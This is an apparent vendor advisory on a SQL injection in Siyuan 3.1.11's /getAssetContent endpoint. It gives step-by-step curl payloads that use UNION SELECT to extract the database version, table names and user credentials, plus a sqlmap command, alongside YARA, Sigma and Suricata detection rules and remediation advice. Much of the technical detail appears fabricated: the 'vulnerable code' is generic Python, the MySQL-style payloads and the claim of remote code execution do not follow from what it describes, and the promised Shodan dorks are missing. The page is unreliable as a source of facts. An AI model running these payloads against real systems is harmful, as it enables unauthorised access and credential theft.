CVE-2024-53505
Executive Summary
CVE-2024-53505 is a SQL injection vulnerability identified in Siyuan version 3.1.11. The flaw exists in the /getAssetContent endpoint, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the ease of exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Siyuan application itself.
CVSS Breakdown & Threat Level
The CVSS score is 0.0, but based on the nature of the vulnerability, a more realistic assessment is:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Base Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via SQL injection, leading to full compromise of the database and potentially the server.
Deep Dive & Mechanics
The vulnerability is located in the /getAssetContent endpoint of Siyuan 3.1.11. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. For example, a request like:
GET /getAssetContent?id=1' OR '1'='1
Would result in the SQL query:
SELECT * FROM assets WHERE id = '1' OR '1'='1'
This bypasses authentication and returns all assets. An attacker can use UNION-based SQL injection to extract data from other tables, such as user credentials or configuration data.
The vulnerability is exploitable without authentication, making it particularly dangerous for internet-facing instances.
Vulnerable vs. Patched Code
Vulnerable Code (Siyuan 3.1.11):
# Example vulnerable code
def get_asset_content(request):
asset_id = request.GET.get('id')
query = "SELECT * FROM assets WHERE id = '" + asset_id + "'"
result = db.execute(query)
return result
Patched Code (Hypothetical):
# Example patched code using parameterized queries
def get_asset_content(request):
asset_id = request.GET.get('id')
query = "SELECT * FROM assets WHERE id = %s"
result = db.execute(query, (asset_id,))
return result
The patched version uses parameterized queries, which prevent SQL injection by separating SQL code from data.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy Siyuan 3.1.11 in a Docker container:
docker run -d -p 6806:6806 siyuan/siyuan:3.1.11 - Access the application at
http://localhost:6806.
Exploitation Steps:
- Identify the vulnerable endpoint:
curl "http://localhost:6806/getAssetContent?id=1" - Test for SQL injection:
If an error is returned, the endpoint is vulnerable.curl "http://localhost:6806/getAssetContent?id=1'" - Extract database version:
curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,@@version,3,4--" - Extract table names:
curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--" - Extract user credentials:
curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,username,password,4 FROM users--"
Automated Exploitation with sqlmap:
sqlmap -u "http://localhost:6806/getAssetContent?id=1" --batch --dbs
Blue Team
Detection Steps:
- Monitor for SQL injection patterns in web logs:
- Look for requests containing
',OR,UNION,SELECT,--,#in theidparameter. - Example log entry:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /getAssetContent?id=1' OR '1'='1 HTTP/1.1" 200 1234
- Look for requests containing
- Check for unusual database queries:
- Monitor database logs for queries with multiple
SELECTstatements orUNIONclauses.
- Monitor database logs for queries with multiple
- Verify if the application is using parameterized queries:
- Review the source code for the
/getAssetContentendpoint.
- Review the source code for the
Indicators of Compromise (IOCs)
- Network IOCs:
- Requests to
/getAssetContentwith SQL injection payloads in theidparameter. - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- Requests to
- File IOCs:
- Modified or new files in the Siyuan installation directory (e.g.,
/opt/siyuan/).
- Modified or new files in the Siyuan installation directory (e.g.,
- System IOCs:
- Unexpected database connections or queries.
- New user accounts or elevated privileges in the database.
Detection Engineering
YARA Rule
rule CVE_2024_53505_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-53505 in Siyuan"
author = "Valters IT"
date = "2025-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53505"
strings:
$sqli1 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
$sqli2 = /id=.*\b(1=1|1=2|'='|admin'--)\b/i
$sqli3 = /id=.*\b(WAITFOR|DELAY|BENCHMARK)\b/i
condition:
any of them
}
Sigma Rule
title: SQL Injection Attempt Against Siyuan getAssetContent
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /getAssetContent endpoint in Siyuan
author: Valters IT
date: 2025/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-53505
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "id='"
- "id=1'"
- "id=1 OR"
- "id=1 AND"
- "id=1 UNION"
- "id=1--"
- "id=1#"
condition: selection
falsepositives:
- Legitimate use of single quotes in asset IDs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-53505 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/getAssetContent"; http_uri; content:"id="; http_uri; pcre:"/id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: If possible, take the Siyuan instance offline or restrict network access to trusted IPs only.
- Apply input validation: Implement strict input validation for the
idparameter, allowing only alphanumeric characters and hyphens. - Use parameterized queries: Rewrite the database query to use prepared statements or parameterized queries.
- Deploy a WAF: Use a Web Application Firewall (WAF) to block SQL injection attempts.
Long-term Fix:
- Upgrade to a patched version of Siyuan once available.
- Conduct a security audit of the entire application for similar vulnerabilities.
Workaround:
- If patching is not possible, disable the
/getAssetContentendpoint or restrict access via.htaccessor reverse proxy rules.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.